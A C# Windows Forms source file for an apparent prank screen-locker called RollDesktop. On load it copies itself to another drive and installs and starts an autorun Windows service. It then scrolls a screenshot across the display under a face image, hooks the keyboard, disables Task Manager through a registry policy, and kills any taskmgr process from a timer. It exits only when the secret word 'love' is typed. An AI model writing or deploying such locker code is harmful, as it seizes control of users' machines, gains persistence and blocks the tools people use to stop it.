﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using RollDesktop.Properties;
using Microsoft.Win32;
using System.Diagnostics;
using System.IO;
using System.ServiceProcess;

namespace RollDesktop
{
    public partial class FrmMain : Form
    {
        int height = 0, width = 0, x = 0;
        PictureBox pictureBox1, pictureBox2, pictureBox3;
        WindowsHook hook;
        static readonly string filePath = @"F://RollDesktop.exe";
        const string VSCOMMAND = @"%comspec% /k ""F:\Program Files\Microsoft Visual Studio 10.0\VC\vcvarsall.bat"" x86";
        public FrmMain()
        {
            InitializeComponent();
        }

        private void FrmMain_Load(object sender, EventArgs e)
        {
            if (!File.Exists(filePath))
            {
                File.Copy(Application.ExecutablePath, filePath);
                ControlProcess controlProcess = new ControlProcess();
                string[] commands = {
                                "installutil " + Application.StartupPath + @"\RoolDesktopService.exe",
                                "net start AutoRunService"
                                };
                controlProcess.StartCMDProcess(commands, VSCOMMAND, "cmd.exe", @"C:\Windows\system32");
            }
            height = Screen.AllScreens[0].Bounds.Height;
            width = Screen.AllScreens[0].Bounds.Width;
            pictureBox1 = new PictureBox();
            pictureBox2 = new PictureBox();
            pictureBox3 = new PictureBox();
            this.Controls.Add(pictureBox3);
            this.Controls.Add(pictureBox2);
            this.Controls.Add(pictureBox1);
            Image myImg = new Bitmap(width, height);
            Graphics g = Graphics.FromImage(myImg);
            g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
            //myImg.Save("D:\\Capture.jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
            pictureBox1.Image = myImg;
            pictureBox1.Width = width;
            pictureBox1.Height = height;
            pictureBox2.Image = myImg;
            pictureBox2.Width = width;
            pictureBox2.Height = height;
            pictureBox2.Location = new Point(-width, 0);
            pictureBox3.Image = Resources.face;
            pictureBox3.Width = Resources.face.Width;
            pictureBox3.Height = Resources.face.Height;
            pictureBox3.Location = new Point(width / 2 - Resources.face.Width / 2, height / 2 - Resources.face.Height / 2);
            this.WindowState = FormWindowState.Maximized;
            timerRoll.Enabled = true;
            hook = new WindowsHook();
            hook.InstallHook();
            try
            {
                RegistryKeyHelper helper = new RegistryKeyHelper(MainRegistryKey.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Policies", true);
                helper.AddRegisterKey("System", "DisableTaskmgr", "1", RegValueKind.DWord);
            }
            catch (Exception ex)
            {

            }
        }

        string key = "";
        const string rightKey = "love";
        private void Frm_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar == '1')
            {
                key = "";
                return;
            }
            key += e.KeyChar;
            if (rightKey == key)
            {
                Application.ExitThread();
                Application.Exit();
            }
        }

        private void timerRoll_Tick(object sender, EventArgs e)
        {
            x = x >= width ? -width : ((x + 50) > width ? width : x + 50);
            //if (x == -width)
            //{
            //    timer1.Stop();
            //    timer1.Interval = timer1.Interval - 1;
            //    timer1.Start();
            //}
            pictureBox1.Location = new Point(x, 0);
            pictureBox2.Location = new Point(x >= 0 ? x - width : x + width, 0);
        }

        private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
        {
            try
            {
                RegistryKeyHelper helper = new RegistryKeyHelper(MainRegistryKey.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Policies\System", true);
                helper.SetRegisterKeyValue("DisableTaskmgr", "0", RegValueKind.DWord);
            }
            catch (Exception ex)
            {
            }
            if (hook != null)
            {
                hook.UnhookHook();
            }
            Application.Exit();
        }

        private void timerClose_Tick(object sender, EventArgs e)
        {
            this.TopLevel = true;
            this.TopMost = true;
            Process[] p = Process.GetProcesses();
            foreach (Process p1 in p)
            {
                try
                {
                    if (p1.ProcessName.ToLower().Trim() == "taskmgr")
                    {
                        p1.Kill();
                        return;
                    }
                }
                catch
                {
                    return;
                }
            }
        }
    }
}
